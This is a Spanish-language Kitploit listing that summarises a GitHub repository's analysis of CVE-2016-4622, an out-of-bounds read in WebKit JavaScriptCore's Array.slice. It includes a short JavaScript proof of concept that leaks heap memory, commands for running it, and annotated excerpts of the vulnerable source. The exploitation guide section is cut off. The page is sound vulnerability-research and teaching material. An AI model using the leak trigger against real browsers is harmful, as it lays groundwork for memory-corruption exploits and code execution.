Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
WebKit-CVE-2016-4622 — Análisis en profundidad y recorrido de explotación de CVE-2016-4622, una vulnerabilidad de divulgación de memoria en WebKit JavaScriptCore mediante una condición de carrera TOCTOU en Array.slice, con código PoC y configuración de depuración. | Kitploit
Herramientas/GitHubGitHub/hdbreaker/webkit-cve-2016-4622
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHub
Compartir
hdbreaker/webkit-cve-2016-4622

WebKit-CVE-2016-4622

Análisis en profundidad y recorrido de explotación de CVE-2016-4622, una vulnerabilidad de divulgación de memoria en WebKit JavaScriptCore mediante una condición de carrera TOCTOU en Array.slice, con código PoC y configuración de depuración.

Ver Repositorio
23555hace 1 añoRevisado por Kitploit

Análisis de WebKit CVE-2016-4622: Inmersión Profunda en la Vulnerabilidad del Slice ValueOf Fastpath

Análisis completo y explotación de la vulnerabilidad del núcleo JavaScript de WebKit que permite la divulgación de memoria mediante la manipulación de Array.slice

Tabla de Contenidos

  • Resumen Ejecutivo
  • Resumen de la Vulnerabilidad
  • Configuración del Entorno de Investigación
  • Análisis Técnico
  • Guía de Explotación
  • Hallazgos Clave
  • Recursos y Referencias

Resumen Ejecutivo

Este repositorio contiene un análisis completo de CVE-2016-4622, una vulnerabilidad crítica de divulgación de memoria en el motor JavaScript Core de WebKit. La vulnerabilidad se origina por una condición de carrera en la implementación de Array.slice() que puede ser explotada para filtrar contenidos de memoria adyacente, sirviendo como base para primitivas de explotación más sofisticadas como addrof y fakeobj.

Impacto: Divulgación de memoria que puede llevar a la ejecución remota de código Componente Afectado: JavaScript Core de WebKit (JSC) Causa Raíz: Vulnerabilidad de tiempo de verificación-tiempo de uso (TOCTOU) en la implementación de fastSlice


Resumen de la Vulnerabilidad

El Problema Central

La vulnerabilidad existe en la "ruta rápida" optimizada de WebKit para el método Array.slice(). Al procesar los parámetros de slice, el motor convierte los argumentos de objeto a valores primitivos llamando a su método valueOf(). Esta conversión ocurre después de determinar los parámetros de la operación slice pero antes de la operación real de copia de memoria.

Vector de Ataque

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

Qué sucede:

  1. El array a se crea con 100 elementos
  2. Durante el procesamiento de parámetros de slice, se llama a valueOf()
  3. El valueOf() malicioso reduce el array a longitud 0
  4. memcpy intenta copiar 10 elementos de un array vacío
  5. Resultado: Se copia memoria adyacente, causando divulgación de información

Configuración del Entorno de Investigación

Estructura del Repositorio

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Reference implementation by Saelo
├── Exploit/                        # Custom exploitation attempts
│   ├── poc-memleak.js             # Memory leak proof-of-concept
│   └── slice_over_array.js        # Educational examples
├── WebKit-SRC-CVE-2016-4622/     # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/                   # Compiled binaries for testing
│   ├── Debug/                     # Debug build with symbols
│   └── ASAN/                      # AddressSanitizer enabled build
└── Screenshoots/                  # Visual documentation

Entorno de Pruebas

Binarios: Binarios JSC precompilados construidos en VMWare OSX 10.11 con XCode 7.3.2 Arquitectura: Ejecutables x86_64 Mach-O Características de Depuración: Símbolos + AddressSanitizer para un análisis completo

Ejecutando la Prueba de Concepto

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Análisis Técnico

Entendiendo la Mecánica de Array.slice()

El método Array.slice(begin, end) crea una copia superficial de una porción de un array. En circunstancias normales:

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Returns ['b', 'c']

Punto clave: El parámetro end sufre una conversión de tipo mediante valueOf(), creando una ventana para la explotación.

Análisis de la Pila de Llamadas

Cuando se activa la vulnerabilidad, AddressSanitizer captura este flujo de llamadas:

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Stack Trace Analysis

Análisis Detallado: Análisis Función por Función

1. arrayProtoFuncSlice() - Punto de Entrada

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - El Desencadenante de la Conversión

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

La Condición de Carrera:

  • Al procesar el segundo parámetro {valueOf: function() { a.length = 0; return 10; }}
  • value.toInteger(exec) llama a nuestro valueOf() malicioso
  • Nuestra función modifica la longitud del array de 100 a 0
  • Pero los parámetros de la operación slice (inicio=0, fin=10) permanecen sin cambios

3. fastSlice() - Donde Ocurre la Corrupción de Memoria

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

La Corrupción de Memoria:

  • startIndex = 0, count = 10
  • La longitud del array ahora es 0 (modificada por valueOf())
  • memcpy lee 10 JSValues comenzando desde el índice 0
  • Como el array está vacío, esto lee memoria adyacente del montón
  • Resultado: Vulnerabilidad de divulgación de información

Guía de Explotación

Flujo de Ataque Paso a Paso

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    546
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    477
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    377
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    324
  • 5

    estorides

    grisuno/estorides

    Agrega más de 99 fuentes OSINT gratuitas en paralelo, resuelve entidades en un grafo de conocimiento y exporta STIX 2.1, MISP o GraphML con análisis asistido por LLM.

    269
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    252

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →